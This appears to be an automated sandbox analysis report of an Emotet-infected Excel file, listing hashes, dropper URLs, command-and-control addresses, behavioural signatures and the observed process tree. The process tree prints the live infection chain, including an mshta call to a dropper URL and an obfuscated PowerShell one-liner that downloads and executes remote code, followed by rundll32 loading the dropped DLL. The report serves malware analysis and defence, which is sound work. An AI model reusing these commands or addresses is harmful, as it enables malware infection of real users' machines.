Analysis

  • max time kernel
    117s
  • max time network
    165s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28/01/2022, 22:14

General

  • Target
    tmpmb0lcg81.xls
  • Size 47KB
  • Sample220128-15p74afcd3
  • SHA256 637dd7cb5c579d38f6e17ed3befe1b5852a2e49d2a1cc1428ba2d290bbf60c94
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/mm/nn/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/mm/nn/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 74.207.230.120:8080

  • 139.196.72.155:8080

  • 37.44.244.177:8080

  • 37.59.209.141:8080

  • 116.124.128.206:8080

  • 217.182.143.207:443

  • 54.37.228.122:443

  • 203.153.216.46:443

  • 168.197.250.14:80

  • 207.148.81.119:8080

  • 195.154.146.35:443

  • 78.46.73.125:443

  • 191.252.103.16:80

  • 210.57.209.142:8080

  • 185.168.130.138:443

  • 142.4.219.173:8080

  • 118.98.72.86:443

  • 78.47.204.80:443

  • 159.69.237.188:443

  • 190.90.233.66:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpmb0lcg81.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "
        3⤵
          PID:1120
        • C:\Windows\SysWOW64\cmd.exe
          cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1492
          • C:\Windows\SysWOW64\mshta.exe
            mshta http://91.240.118.172/mm/nn/se.html
            4⤵
            • Blocklisted process makes network request
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:980
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({LOkoNOkoBoko}{LOkoNOkoBoko}Ne{LOkoNOkoBoko}{LOkoNOkoBoko}w{LOkoNOkoBoko}-Obj{LOkoNOkoBoko}ec{LOkoNOkoBoko}{LOkoNOkoBoko}t N{LOkoNOkoBoko}{LOkoNOkoBoko}et{LOkoNOkoBoko}.W{LOkoNOkoBoko}{LOkoNOkoBoko}e'.replace('{LOkoNOkoBoko}', ''); $c4='bC{LOkoNOkoBoko}li{LOkoNOkoBoko}{LOkoNOkoBoko}en{LOkoNOkoBoko}{LOkoNOkoBoko}t).D{LOkoNOkoBoko}{LOkoNOkoBoko}ow{LOkoNOkoBoko}{LOkoNOkoBoko}nl{LOkoNOkoBoko}{LOkoNOkoBoko}{LOkoNOkoBoko}o'.replace('{LOkoNOkoBoko}', ''); $c3='ad{LOkoNOkoBoko}{LOkoNOkoBoko}St{LOkoNOkoBoko}rin{LOkoNOkoBoko}{LOkoNOkoBoko}g{LOkoNOkoBoko}(''ht{LOkoNOkoBoko}tp{LOkoNOkoBoko}://91.240.118.172/mm/nn/se.png'')'.replace('{LOkoNOkoBoko}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:360
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1520
                • C:\Windows\SysWow64\rundll32.exe
                  C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat
                  7⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1568
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
                    8⤵
                    • Loads dropped DLL
                    • Drops file in System32 directory
                    • Suspicious use of WriteProcessMemory
                    PID:560
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tsflh\jfbicyqttrdf.tft",cuRDEwHX
                      9⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1020
                      • C:\Windows\SysWOW64\rundll32.exe
                        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tsflh\jfbicyqttrdf.tft",DllRegisterServer
                        10⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1104

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/360-61-0x0000000002440000-0x0000000002441000-memory.dmp

          memory/360-62-0x0000000002441000-0x0000000002442000-memory.dmp

          memory/360-63-0x0000000002442000-0x0000000002444000-memory.dmp

          memory/560-79-0x0000000000880000-0x00000000008A7000-memory.dmp

          memory/560-83-0x0000000002330000-0x0000000002357000-memory.dmp

          memory/560-91-0x0000000002890000-0x00000000028B7000-memory.dmp

          memory/560-87-0x00000000026F0000-0x0000000002717000-memory.dmp

          memory/560-77-0x0000000000200000-0x0000000000227000-memory.dmp

          memory/560-85-0x0000000002560000-0x0000000002587000-memory.dmp

          memory/560-81-0x0000000001FF0000-0x0000000002017000-memory.dmp

          memory/1020-92-0x0000000000750000-0x0000000000777000-memory.dmp

          memory/1104-95-0x00000000001C0000-0x00000000001E7000-memory.dmp

          memory/1104-114-0x0000000002AD0000-0x0000000002AF7000-memory.dmp

          memory/1104-116-0x0000000002F41000-0x0000000002F64000-memory.dmp

          memory/1104-113-0x0000000002AD1000-0x0000000002AF4000-memory.dmp

          memory/1104-111-0x0000000002A30000-0x0000000002A57000-memory.dmp

          memory/1104-109-0x0000000002980000-0x00000000029A7000-memory.dmp

          memory/1104-97-0x0000000000360000-0x0000000000387000-memory.dmp

          memory/1104-99-0x0000000000810000-0x0000000000837000-memory.dmp

          memory/1104-103-0x00000000023D0000-0x00000000023F7000-memory.dmp

          memory/1104-105-0x0000000002550000-0x0000000002577000-memory.dmp

          memory/1104-107-0x00000000027D0000-0x00000000027F7000-memory.dmp

          memory/1568-70-0x00000000001F0000-0x0000000000217000-memory.dmp

          memory/1660-58-0x00000000763F1000-0x00000000763F3000-memory.dmp

          memory/1660-55-0x000000002FE81000-0x000000002FE84000-memory.dmp

          memory/1660-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/1660-115-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/1660-56-0x0000000071891000-0x0000000071893000-memory.dmp